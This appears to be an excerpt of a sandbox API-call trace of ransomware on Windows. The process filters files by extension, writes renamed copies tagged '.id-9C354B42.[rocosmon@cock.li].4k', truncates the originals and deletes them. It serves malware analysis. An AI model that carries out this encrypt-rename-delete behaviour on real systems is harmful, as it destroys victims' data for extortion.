	[0094.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.477] lstrlenW (lpString=".doc") returned 4
	[0094.477] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.477] lstrlenW (lpString=".docx") returned 5
	[0094.477] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0094.477] lstrlenW (lpString=".pdf") returned 4
	[0094.477] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.477] lstrlenW (lpString=".xls") returned 4
	[0094.477] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.477] lstrlenW (lpString=".xlsx") returned 5
	[0094.477] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0094.477] lstrlenW (lpString=".ppt") returned 4
	[0094.477] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.477] lstrlenW (lpString=".zip") returned 4
	[0094.477] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.478] lstrlenW (lpString=".rar") returned 4
	[0094.478] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.478] lstrlenW (lpString=".bz2") returned 4
	[0094.478] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.478] lstrlenW (lpString=".7z") returned 3
	[0094.478] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.478] lstrlenW (lpString=".dbf") returned 4
	[0094.478] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.478] lstrlenW (lpString=".1cd") returned 4
	[0094.478] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.478] lstrlenW (lpString=".jpg") returned 4
	[0094.478] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.479] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0094.479] lstrlenW (lpString="ea.xml") returned 6
	[0094.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0094.479] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=384) returned 1
	[0094.479] CloseHandle (hObject=0x190) returned 1
	[0094.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20
	[0094.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.479] lstrlenW (lpString=".doc") returned 4
	[0094.479] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.479] lstrlenW (lpString=".docx") returned 5
	[0094.479] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0094.479] lstrlenW (lpString=".pdf") returned 4
	[0094.479] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.479] lstrlenW (lpString=".xls") returned 4
	[0094.480] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.480] lstrlenW (lpString=".xlsx") returned 5
	[0094.480] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0094.480] lstrlenW (lpString=".ppt") returned 4
	[0094.480] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.480] lstrlenW (lpString=".zip") returned 4
	[0094.480] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.480] lstrlenW (lpString=".rar") returned 4
	[0094.480] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.480] lstrlenW (lpString=".bz2") returned 4
	[0094.480] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.480] lstrlenW (lpString=".7z") returned 3
	[0094.480] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.480] lstrlenW (lpString=".dbf") returned 4
	[0094.480] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.480] lstrlenW (lpString=".1cd") returned 4
	[0094.480] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.480] lstrlenW (lpString=".jpg") returned 4
	[0094.480] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.481] lstrlenW (lpString=".doc") returned 4
	[0094.481] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.481] lstrlenW (lpString=".docx") returned 5
	[0094.481] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0094.481] lstrlenW (lpString=".pdf") returned 4
	[0094.481] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.481] lstrlenW (lpString=".xls") returned 4
	[0094.481] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.481] lstrlenW (lpString=".xlsx") returned 5
	[0094.481] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0094.481] lstrlenW (lpString=".ppt") returned 4
	[0094.481] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.481] lstrlenW (lpString=".zip") returned 4
	[0094.481] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.481] lstrlenW (lpString=".rar") returned 4
	[0094.481] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.481] lstrlenW (lpString=".bz2") returned 4
	[0094.481] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.481] lstrlenW (lpString=".7z") returned 3
	[0094.481] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.481] lstrlenW (lpString=".dbf") returned 4
	[0094.481] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.481] lstrlenW (lpString=".1cd") returned 4
	[0094.481] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0094.481] lstrlenW (lpString=".jpg") returned 4
	[0094.481] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.482] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0094.482] lstrlenW (lpString="keypadbase.xml") returned 14
	[0094.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0094.486] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1118) returned 1
	[0094.486] CloseHandle (hObject=0x190) returned 1
	[0094.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20
	[0094.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.487] lstrlenW (lpString=".doc") returned 4
	[0094.487] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.487] lstrlenW (lpString=".docx") returned 5
	[0094.487] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0094.487] lstrlenW (lpString=".pdf") returned 4
	[0094.487] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.487] lstrlenW (lpString=".xls") returned 4
	[0094.487] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.487] lstrlenW (lpString=".xlsx") returned 5
	[0094.487] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0094.487] lstrlenW (lpString=".ppt") returned 4
	[0094.487] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.487] lstrlenW (lpString=".zip") returned 4
	[0094.487] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.487] lstrlenW (lpString=".rar") returned 4
	[0094.487] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.487] lstrlenW (lpString=".bz2") returned 4
	[0094.487] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.487] lstrlenW (lpString=".7z") returned 3
	[0094.487] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.487] lstrlenW (lpString=".dbf") returned 4
	[0094.488] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.488] lstrlenW (lpString=".1cd") returned 4
	[0094.488] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.488] lstrlenW (lpString=".jpg") returned 4
	[0094.488] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.488] lstrlenW (lpString=".doc") returned 4
	[0094.488] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.488] lstrlenW (lpString=".docx") returned 5
	[0094.488] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0094.488] lstrlenW (lpString=".pdf") returned 4
	[0094.488] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.488] lstrlenW (lpString=".xls") returned 4
	[0094.488] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.488] lstrlenW (lpString=".xlsx") returned 5
	[0094.488] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0094.488] lstrlenW (lpString=".ppt") returned 4
	[0094.488] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.488] lstrlenW (lpString=".zip") returned 4
	[0094.488] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.488] lstrlenW (lpString=".rar") returned 4
	[0094.488] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.489] lstrlenW (lpString=".bz2") returned 4
	[0094.489] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.489] lstrlenW (lpString=".7z") returned 3
	[0094.489] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.489] lstrlenW (lpString=".dbf") returned 4
	[0094.489] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.489] lstrlenW (lpString=".1cd") returned 4
	[0094.489] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0094.489] lstrlenW (lpString=".jpg") returned 4
	[0094.489] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.489] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0094.489] lstrlenW (lpString="kor-kor.xml") returned 11
	[0094.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0094.490] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=392) returned 1
	[0094.490] CloseHandle (hObject=0x190) returned 1
	[0094.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20
	[0094.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0094.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0094.490] lstrlenW (lpString=".doc") returned 4
	[0094.490] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.490] lstrlenW (lpString=".docx") returned 5
	[0094.490] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0094.491] lstrlenW (lpString=".pdf") returned 4
	[0094.491] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.491] lstrlenW (lpString=".xls") returned 4
	[0094.491] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.491] lstrlenW (lpString=".xlsx") returned 5
	[0094.491] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0094.491] lstrlenW (lpString=".ppt") returned 4
	[0094.491] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0094.491] lstrlenW (lpString=".zip") returned 4
	[0094.491] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.491] lstrlenW (lpString=".rar") returned 4
	[0094.491] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.491] lstrlenW (lpString=".bz2") returned 4
	[0094.491] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.491] lstrlenW (lpString=".7z") returned 3
	[0094.491] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0094.491] lstrlenW (lpString=".dbf") returned 4
	[0094.491] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0095.457] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=488) returned 1
	[0095.457] CloseHandle (hObject=0x1ac) returned 1
	[0095.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20
	[0095.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0095.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0095.458] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0096.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[rocosmon@cock.li].4k")) returned 0
	[0096.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[rocosmon@cock.li].4k")) returned 0
	[0096.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[rocosmon@cock.li].4k")) returned 0
	[0098.391] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.391] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0098.392] GetLastError () returned 0x0
	[0098.392] ReadFile (in: hFile=0x1f0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x795, lpOverlapped=0x0) returned 1
	[0098.403] WriteFile (in: hFile=0x1f4, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7a0, lpOverlapped=0x0) returned 1
	[0098.404] ReadFile (in: hFile=0x1f0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0098.404] WriteFile (in: hFile=0x1f4, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0098.404] SetEndOfFile (hFile=0x1f4) returned 1
	[0098.404] CloseHandle (hObject=0x1f4) returned 1
	[0098.412] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.412] SetEndOfFile (hFile=0x1f0) returned 1
	[0098.413] CloseHandle (hObject=0x1f0) returned 1
	[0098.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0098.414] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1
	[0098.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.415] lstrlenW (lpString=".doc") returned 4
	[0098.415] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0098.415] lstrlenW (lpString=".docx") returned 5
	[0098.415] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1
	[0098.415] lstrlenW (lpString=".pdf") returned 4
	[0098.415] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0098.415] lstrlenW (lpString=".xls") returned 4
	[0098.416] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0098.416] lstrlenW (lpString=".xlsx") returned 5
	[0098.416] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1
	[0098.416] lstrlenW (lpString=".ppt") returned 4
	[0098.416] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0098.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.418] lstrlenW (lpString=".zip") returned 4
	[0098.423] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0098.423] lstrlenW (lpString=".rar") returned 4
	[0098.423] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0098.423] lstrlenW (lpString=".bz2") returned 4
	[0098.423] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0098.423] lstrlenW (lpString=".7z") returned 3
	[0098.423] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0098.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.423] lstrlenW (lpString=".dbf") returned 4
	[0098.423] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0098.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.423] lstrlenW (lpString=".1cd") returned 4
	[0098.423] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0098.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.423] lstrlenW (lpString=".jpg") returned 4
	[0098.423] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0098.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.424] lstrlenW (lpString=".doc") returned 4
	[0098.424] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0098.424] lstrlenW (lpString=".docx") returned 5
	[0098.424] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1
	[0098.424] lstrlenW (lpString=".pdf") returned 4
	[0098.424] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0098.424] lstrlenW (lpString=".xls") returned 4
	[0098.424] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0098.424] lstrlenW (lpString=".xlsx") returned 5
